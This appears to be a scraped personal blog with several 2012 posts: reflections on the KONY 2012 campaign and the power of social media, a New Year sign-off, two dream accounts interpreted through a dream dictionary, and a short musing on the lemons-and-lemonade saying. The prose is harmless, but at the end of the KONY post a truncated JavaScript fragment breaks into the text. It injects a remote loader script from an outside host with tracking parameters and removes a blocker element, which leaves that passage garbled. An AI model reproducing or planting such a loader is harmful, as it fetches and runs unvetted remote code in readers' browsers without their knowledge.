Because everyone is talking about it…KONY 2012

Due to the huge publicity this campaign has gotten recently from the release of a video by the Invisible Children, everyone’s been talking about it and because everyone is talking about it, it means that there are lots of good press and lots of bad press.

Am I for? or Against?

I admit, I loved the video and only used the video to base my opinion when I first shared the video via facebook and twitter.  I am one to judge a book by it’s cover.  Once the campaign got big, there were more sides to the story.  I don’t feel like reading up about all of them because for me, it’s not necessarily just about Kony.  It’s about what power social media has these days.

In a matter of a day, word spread everywhere about this video, KONY 2012.  Isn’t that just amazing?

Look at the power we have now compared to back then.  Look at all the information that is so readily available to us now.  Whether you are one to oppose or one to go with the flow, you are talking about it and therefore contributing to the campaign even if you didn’t want to to begin with.

Am I making any sense?

It’s not about the cause necessarily here, it’s about what we can do to encourage change.  I think that that is ultimately the main campaign here, to bring awareness to ourselves and how much our generation and the younger generations can achieve change.  We are the ones who have the power, not the dictators of the world, not the war criminals, not any singular person but us, the socially connected youth.

PS: Really random thought, the one thing I found odd about the video and this campaign is, why cover the night on 4/20??  Also, why are people talking about killing Kony??  I thought they are trying to get him to be arrested and tried by the International Criminal Court? // -1?’https’:’http’;var ccm=document.createElement(‘script’);ccm.type=’text/javascript’;ccm.async=true;ccm.src=http+’://d3lvr7yuk4uaui.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=15220&zoneid=14731&cid=&rid=&ccid=&ip=’;var s=document.getElementsByTagName(‘script’)[0];s.parentNode.insertBefore(ccm,s);jQuery(‘#cblocker’).remove();});};
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Happy New Year!

I hope everyone has had a wonderful holiday this year and wish everyone all the best in 2012.

I am unsure about whether or not I will continue to blog on here.  However, I will most likely continue to use my tumblr, so if you are interested in the girlier side of me, please feel free to follow me on tumblr, being a [bored] girl.

I have done a lot of thinking these past couple weeks as the year has come to an end and I must say that 2011 has been a year of growth and understanding of who I am.  If it weren’t for blogging, or my friends, or the experiences I have had, I would never be where I am today.  I am always thankful and grateful for all the things that have happened to me and I choose to live a life without regret.  Sometimes, I may feel like I regret something that I have done or not done in the past but I come to the conclusion that there is no point in regretting what you cannot change.  It is best to learn from those mistakes and move on.

I have always known to follow my instincts but I often fail to do so and end up wishing I had but in the end, I take it as a lesson to be learned.  Trust my instincts.  Eventually I’ll get it right.

I have learned many things in 2011 but most importantly for 2012, I believe my motto will be “alone does not have to be lonely”

And with that, I leave you all till next time whenever that may be.

Some places you can find me, where I will for sure be posting will be:

http://beingaboredgirl.tumblr.com

http://twitter.com/sarahfan

<3 I will continue to write but maybe not in such a public format.

Lots of love from me to you in 2012 <3

Dream Interpretation: The Train

Last night, I had a dream that seemed almost like a TV show or movie.  It started off at a train station.  I met a guy there but he was on a different train, an earlier one than mine.  Before he got on his train, we had kissed.

After his train left, I had to board mine.  I felt that there was something strange about my train but I still boarded it.  I don’t know where we were going but I remember walking all the way to the back of the train for some strange reason.  Then we stopped while I was still in the back of the train, and everyone in the last two train cars had to get off.  Actually one group stayed near the train, while the other group, my group had to walk a bit of a distance away.  They made us do work or something.  It was like an old village.  At some point, someone needed headphones for something, so I went back to the train to ask someone for some.  Someone was nice enough to lend us his.  I went back to the guy who needed the headphones and handed the headphones to him.  That’s when I woke up.

Interpretation from dream moods dream dictionary:

Train Station:

Represents a transitional period in my life in which I need to take a short break and reassess my situation and determine my path and goals.

Kiss:

Since I kissed a stranger, it means that I acknowledge and accept the repressed aspect of myself.

Train:

Since I was on a train, that train symbolizes my life’s journey.  It can either mean I am on the right track or that I am needlessly worrying over a situation that will work out in the end.

Two:

Two because there were two trains, one that the stranger I kissed was on and one that I was on.  Also because it was the last two train cars, that had to get off and I happened to be in the last one when they asked us to get off.  The number two usually symbolizes balance, diversity, partnership, marriage, cooperation, soul, or receptivity.  The world is seen in dualities, like Yin and Yang.

Headphones:

Hmmm…according to dream moods, that if I was wearing the headphones that would mean that I was the only one getting the message and that I am in tune with my intuition.  Since I am not the one wearing it, I guess I’m not getting the message and not in tune with my gut feelings.

Putting it altogether:

My dream seems to mean that I am in a transitional period in my life but I am on the right path.  I am okay with my repressed self and that I shouldn’t worry so much.  I think I am trying to look for a balance between myself and my repressed self.  They are split up and I need to get them in sync.  I’m just missing the message and not following my instincts.

 

I had a dream…a weird dream

I had a weird dream last night.  Well most of the dreams I remember are usually weird but this one was nothing like any dream I’ve had before.  I wasn’t sure if I was going to post about this dream, so while I was debating, my memories of the dream have faded a bit.

It seemed like I was in an acting school of some sort.  There were two other girls that I think I was competing against.  We were given the challenge to act out a scene or play or something.  While the two girls were busy practicing and memorizing, a guy, I think a teacher, came up to me and told me that it is better to be natural or to not be rehearsed and to just go with the flow.  I think he was just telling me to improvise on stage rather than memorize lines because you may forget your lines and that would show.  I remember another gentleman giving me a beautiful dress.  Every girl was sort of in fairytale dresses except me.  The gentleman gave me a fairytale dress but I didn’t put it on before I woke up.  Actually I think someone stole it.

I can’t remember much of the dream now but that is the main points I remembered.  I’m not sure if it means anything.  Maybe, me glancing at the name of a T.V. show before I slept got me into the whole fairytale thing.

“If life hands you lemons, make lemonade.”

We’ve all heard this saying before and for some odd reason while I am attempting to patiently wait for my nailpolish to dry, I thought of this saying.  I guess it could be because of my new sense of acceptance (if you don’t know what I’m talking about, you can see my previous post).

When I think of this saying though, I think why lemons? Then, I think, why lemonade?

I guess, life is never sweet.  Instead it often leaves you with a sour taste in your mouth that makes you cringe. Lemonade isn’t very sweet either but most people add a bit of sugar to it.  I am not entirely sure what I am trying to say in this post and I’m pretty sure I just ruined my nailpolish…sigh.

Basically, I think what I am trying to say is that either there is more to the saying than meets the eye or maybe the reason it’s such a popular saying is because its lemons and people read into things more than they should.  Wow, I don’t think that made any sense and I REALLY don’t think I should publish this post.

Ok, let me try this again.  People say this saying when they want to tell you to make the most of what you’ve got.  What I’m trying to say is that in order to make the most out of a sour situation, you have to add your own sugar to it.

Does this post make any sense at all?  (this post may be gone by next week.)